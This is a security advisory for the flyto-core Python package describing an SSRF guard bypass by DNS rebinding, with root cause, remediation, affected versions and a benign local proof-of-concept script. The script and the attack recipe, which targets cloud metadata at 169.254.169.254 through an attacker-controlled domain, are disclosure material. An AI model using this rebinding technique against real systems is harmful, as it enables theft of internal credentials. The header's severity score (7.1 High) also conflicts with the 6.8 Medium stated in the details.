GHSA-6pm8-6f34-9v3g

Suggest an improvement
Source
https://github.com/advisories/GHSA-6pm8-6f34-9v3g
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6pm8-6f34-9v3g/GHSA-6pm8-6f34-9v3g.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6pm8-6f34-9v3g
Aliases
Published
2026-11-20T00:11:24Z
Modified
2026-11-20T00:15:05Z
Severity
  • 7.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N CVSS Calculator
Summary
Flyto2 Core: SSRF guard bypass via DNS rebinding (validate_url_ssrf resolves-then-connects without pinning)
Details

[MEDIUM] SSRF guard bypass via DNS rebinding — validate_url_ssrf resolves-then-connects without pinning

  • CWE: CWE-918 (SSRF) / CWE-367 (TOCTOU).
  • CVSS v3.1: AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N = 6.8 Medium (AC:H — needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard's lookup and the connection's lookup; S:C — reaches internal/metadata services the guard is meant to block; C:H — e.g. cloud metadata credentials at 169.254.169.254).
  • Affected component: flyto-core (PyPI flyto-core), HEAD ae2b38e (v2.26.7). src/core/utils.py::validate_url_ssrf (resolution at getaddrinfo ~L512, is_private_ip check ~L515) and every consumer: guarded_aiohttp_request(), enforce_outbound_url()/validate_url_with_env_config() — i.e. http.get/request/batch, graphql.query/mutation, monitor.http_check, notification.{slack,discord,teams}, ai.vision_analyze, verify.visual_diff, browser.proxy_rotate, etc.
  • Relationship: Incomplete hardening of the SSRF-guard family (GHSA-pgwh-4jj4-qm8v, GHSA-c9hr-64h3-gxpc, GHSA-794r-5rp2-fpg8/CVE-2026-55787). Those fixes added per-module coverage, redirect revalidation, and IPv6-transition range-checks — but none pins the resolved address, so the guard's resolve-then-connect gap defeats all of them.

Root cause

validate_url_ssrf() resolves the hostname with socket.getaddrinfo() and rejects the URL if any resolved IP is private. It then returns the URL string (hostname intact). The caller (guarded_aiohttp_request: validate_url_with_env_config(url) then session.request(method, url, ...)) hands the hostname to aiohttp, which performs an independent second DNS resolution at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard's lookup and a private/loopback/metadata address for the connection's lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard's socket.getaddrinfo, so the two lookups are genuinely separate — one flip is sufficient.

Reachability

  1. Attacker controls DNS for rebind.attacker.test (TTL 0), and drives any guarded HTTP module with url=http://rebind.attacker.test/ (recipe / MCP execute_module).
  2. Guard: getaddrinfo → public IP → is_private_ip false → URL allowed.
  3. Outbound request: aiohttp re-resolves rebind.attacker.test → attacker now answers 127.0.0.1 / 169.254.169.254 → connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help — the initial hop already rebinds.

Executable PoC (benign, local; deterministic)

The attacker's TTL=0 flip is modelled by making socket.getaddrinfo return public on lookup #1 (the guard's) and loopback on later lookups (the connection's); a raw local TCP sentinel stands in for the internal service. No payload is sent.

# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)
# guard sees resolution #1 (public) -> ALLOWS;  connect re-resolves (127.0.0.1) -> hits sentinel
validate_url_ssrf("http://rebind.attacker.test:8080/")     # ALLOWED
socket.create_connection(("rebind.attacker.test", 8080))   # lands on 127.0.0.1 sentinel

Observed output:

[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/  (saw public 93.184.216.34 on resolution #1)
[connect] outbound request re-resolved rebind.attacker.test -> 127.0.0.1 and reached the INTERNAL sentinel: True
BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)

Adversarial re-read

  • Is the getaddrinfo monkeypatch cheating? No — it deterministically models an attacker's TTL=0 authoritative DNS returning different answers to two separate lookups. The code gap is real and unavoidable: validate_url_with_env_config(url) resolves once, then session.request(url) resolves again with no pin.
  • Does aiohttp's DNS cache prevent it? No — the guard's socket.getaddrinfo and aiohttp's resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard's.
  • Does redirect revalidation (GHSA-c9hr) block it? No — the first hop rebinds before any redirect.
  • Multiple A records? The guard loops all getaddrinfo results and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does.
  • Result: no concrete blocker. CONFIRMED (Medium; AC:H because it needs attacker DNS + a flip).

Remediation

Pin the validated address: resolve once, validate every returned IP, then connect to the pinned IP (not the hostname) — e.g. pass the resolved address to aiohttp via a custom resolver/TCPConnector (or set the Host header and connect by IP), so the guard's decision and the socket target are the same address. Apply for every hop in guarded_aiohttp_request. Alternatively, use a resolver wrapper that validates inside the connect path.

Confidence

High that the resolve-then-connect gap exists and the guard is bypassable by rebinding (PoC fires against the real guard). Severity Medium due to the AC:H rebinding precondition.

Proof-of-Concept source (poc_dns_rebinding.py)

"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).
Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo
flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.
The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the
sentinel (private) -> internal reach that the guard was supposed to block."""
import os, sys, socket, threading, time
sys.path.insert(0, os.path.join(os.getcwd(), "src"))
from core.utils import validate_url_ssrf, SSRFError

# 1) internal "service" sentinel: raw TCP listener on loopback
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
import errno
for _p in (8080, 8443):
    try:
        srv.bind(("127.0.0.1", _p)); break
    except OSError:
        continue
else:
    raise SystemExit("no allowed port free")
srv.listen(1)
PORT = srv.getsockname()[1]
hit = {"internal": False}
def accept_once():
    try:
        c,_ = srv.accept(); hit["internal"] = True; c.close()
    except OSError:
        pass
threading.Thread(target=accept_once, daemon=True).start()

HOST = "rebind.attacker.test"
PUBLIC = "93.184.216.34"   # example.com, public -> guard must ALLOW

# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1
_real = socket.getaddrinfo
calls = {"n": 0}
def flipping_getaddrinfo(host, port, *a, **k):
    if host == HOST:
        calls["n"] += 1
        ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"
        return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]
    return _real(host, port, *a, **k)
socket.getaddrinfo = flipping_getaddrinfo

# 3) GUARD runs (resolves #1 = public) -> should PASS
try:
    validate_url_ssrf(f"http://{HOST}:{PORT}/")
    print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/  (saw public {PUBLIC} on resolution #1)")
except SSRFError as e:
    print("[guard] blocked (rebinding not effective):", e); sys.exit(0)

# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel
try:
    s = socket.create_connection((HOST, PORT), timeout=3); s.close()
except OSError as e:
    print("[connect] error:", e)
time.sleep(0.2)
socket.getaddrinfo = _real
print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")
print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"
      if hit["internal"] else "NOT CONFIRMED")
srv.close()

Database specific
{
    "cwe_ids": [
        "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-20T00:11:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}
References

Affected packages

PyPI / flyto-core

Package

Name
flyto-core
View open source insights on deps.dev
Purl
pkg:pypi/flyto-core

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2.26.8

Affected versions

1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.1.0
1.1.1
1.2.0
1.3.0
1.4.0
1.5.0
1.5.1
1.5.2
1.5.4
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.7.0
1.7.1
1.7.2
1.7.3
1.7.4
1.7.5
1.7.6
1.7.7
1.7.8
1.7.9
1.8.0
1.8.1
1.8.2
1.8.3
1.8.4
1.8.5
1.8.6
1.8.7
1.8.8
1.8.9
1.8.10
1.8.11
1.8.12
1.8.13
1.8.14
1.8.15
1.8.16
1.8.17
1.9.0
1.11.0
1.12.0
1.13.0
1.14.0
1.14.1
1.14.2
1.15.0
1.16.0
1.16.1
1.16.2
1.16.3
1.16.4
1.16.5
1.16.6
1.16.7
1.16.8
1.16.9
1.16.10
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.3.0
2.3.1
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.4.5
2.4.6
2.4.7
2.5.0
2.5.1
2.5.2
2.6.0
2.6.1
2.7.0
2.7.1
2.7.2
2.7.3
2.7.4
2.7.5
2.7.6
2.8.0
2.9.0
2.10.0
2.11.0
2.12.0
2.12.1
2.12.2
2.12.3
2.12.4
2.12.5
2.12.6
2.12.13
2.12.15
2.12.16
2.12.17
2.12.18
2.12.19
2.12.20
2.12.21
2.12.22
2.12.23
2.12.24
2.12.25
2.12.26
2.12.27
2.12.28
2.13.0
2.13.1
2.13.2
2.13.3
2.13.4
2.14.0
2.15.0
2.15.1
2.15.2
2.15.3
2.16.1
2.16.3
2.16.4
2.17.0
2.17.1
2.17.2
2.17.3
2.17.4
2.17.5
2.17.6
2.17.7
2.17.8
2.18.0
2.18.1
2.18.2
2.18.3
2.18.4
2.18.5
2.18.6
2.18.8
2.18.9
2.18.10
2.18.11
2.19.0
2.20.0
2.20.1
2.20.2
2.20.3
2.20.4
2.23.0
2.23.1
2.23.2
2.23.3
2.24.0
2.24.1
2.24.2
2.24.3
2.24.4
2.25.0
2.25.1
2.25.2
2.25.3
2.25.4
2.25.5
2.25.6
2.25.7
2.25.8
2.25.9
2.25.10
2.25.11
2.25.12
2.25.13
2.25.14
2.25.15
2.25.16
2.25.17
2.25.18
2.25.19
2.25.20
2.25.21
2.25.22
2.25.23
2.25.24
2.25.25
2.25.26
2.25.27
2.26.0
2.26.1
2.26.2
2.26.3
2.26.4
2.26.5
2.26.7

Database specific

last_known_affected_version_range
"<= 2.26.7"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6pm8-6f34-9v3g/GHSA-6pm8-6f34-9v3g.json"